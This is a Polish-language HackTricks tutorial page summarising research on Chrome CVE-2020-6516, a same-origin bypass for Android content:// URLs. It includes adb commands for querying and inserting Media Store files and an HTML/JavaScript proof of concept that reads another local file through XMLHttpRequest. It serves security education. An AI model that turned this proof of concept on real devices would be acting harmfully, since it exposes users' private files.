mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 10:33:36 +00:00
108 lines
6.4 KiB
Markdown
108 lines
6.4 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
**To jest streszczenie posta [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
|
|
|
### Wymienianie Plików w Magazynie Mediów
|
|
Aby wymienić pliki zarządzane przez Magazyn Mediów, można użyć poniższej komendy:
|
|
```bash
|
|
$ content query --uri content://media/external/file
|
|
```
|
|
Dla bardziej przyjaznego dla użytkownika wyjścia, wyświetl tylko identyfikator i ścieżkę każdego zindeksowanego pliku:
|
|
```bash
|
|
$ content query --uri content://media/external/file --projection _id,_data
|
|
```
|
|
Dostawcy treści są izolowani we własnej prywatnej przestrzeni nazw. Dostęp do dostawcy wymaga określonego URI `content://`. Informacje o ścieżkach dostępu do dostawcy można uzyskać z manifestów aplikacji lub kodu źródłowego frameworka Androida.
|
|
|
|
### Dostęp Chrome'a do dostawców treści
|
|
Chrome na Androidzie może uzyskać dostęp do dostawców treści za pomocą schematu `content://`, pozwalając na dostęp do zasobów takich jak zdjęcia lub dokumenty eksportowane przez aplikacje innych firm. Aby to zilustrować, plik można wstawić do Magazynu multimediów, a następnie uzyskać do niego dostęp za pomocą Chrome'a:
|
|
|
|
Wstaw niestandardowy wpis do Magazynu multimediów:
|
|
```bash
|
|
cd /sdcard
|
|
echo "Hello, world!" > test.txt
|
|
content insert --uri content://media/external/file \
|
|
--bind _data:s:/storage/emulated/0/test.txt \
|
|
--bind mime_type:s:text/plain
|
|
```
|
|
Odkryj identyfikator nowo wstawionego pliku:
|
|
```bash
|
|
content query --uri content://media/external/file \
|
|
--projection _id,_data | grep test.txt
|
|
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
|
```
|
|
Plik można następnie wyświetlić w przeglądarce Chrome, używając adresu URL skonstruowanego z identyfikatorem pliku.
|
|
|
|
Na przykład, aby wyświetlić listę plików związanych z określoną aplikacją:
|
|
```bash
|
|
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
|
```
|
|
### Chrome CVE-2020-6516: Bypass zasady Same-Origin-Policy
|
|
|
|
_Same Origin Policy_ (SOP) to protokół bezpieczeństwa w przeglądarkach, który ogranicza interakcje stron internetowych z zasobami z różnych źródeł, chyba że jest to wyraźnie zezwolone przez politykę Cross-Origin-Resource-Sharing (CORS). Ta polityka ma na celu zapobieganie wyciekom informacji i fałszowaniu żądań między witrynami. Chrome traktuje `content://` jako lokalny schemat, co oznacza bardziej restrykcyjne zasady SOP, gdzie każdy adres URL z lokalnym schematem jest traktowany jako osobne źródło.
|
|
|
|
Jednak CVE-2020-6516 był podatnością w Chrome, która umożliwiała obejście zasad SOP dla zasobów ładowanych za pomocą adresu URL `content://`. W rezultacie kod JavaScript z adresu URL `content://` mógł uzyskać dostęp do innych zasobów ładowanych za pomocą adresów URL `content://`, co stanowiło istotne zagrożenie dla bezpieczeństwa, zwłaszcza na urządzeniach z systemem Android w wersjach wcześniejszych niż Android 10, gdzie nie było wdrożonego przechowywania zasięgu.
|
|
|
|
Poniżej znajduje się przykład koncepcji dowodowej tej podatności, gdzie dokument HTML, po przesłaniu go pod **/sdcard** i dodaniu do Magazynu multimediów, używa `XMLHttpRequest` w swoim kodzie JavaScript do uzyskania dostępu i wyświetlenia zawartości innego pliku w Magazynie multimediów, omijając zasady SOP.
|
|
|
|
Kod HTML koncepcji dowodowej:
|
|
```xml
|
|
<html>
|
|
<head>
|
|
<title>PoC</title>
|
|
<script type="text/javascript">
|
|
function poc()
|
|
{
|
|
var xhr = new XMLHttpRequest();
|
|
|
|
xhr.onreadystatechange = function()
|
|
{
|
|
if(this.readyState == 4)
|
|
{
|
|
if(this.status == 200 || this.status == 0)
|
|
{
|
|
alert(xhr.response);
|
|
}
|
|
}
|
|
}
|
|
|
|
xhr.open("GET", "content://media/external/file/747");
|
|
xhr.send();
|
|
}
|
|
</script>
|
|
</head>
|
|
<body onload="poc()"></body>
|
|
</html>
|
|
```
|
|
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
|
|
|
</details>
|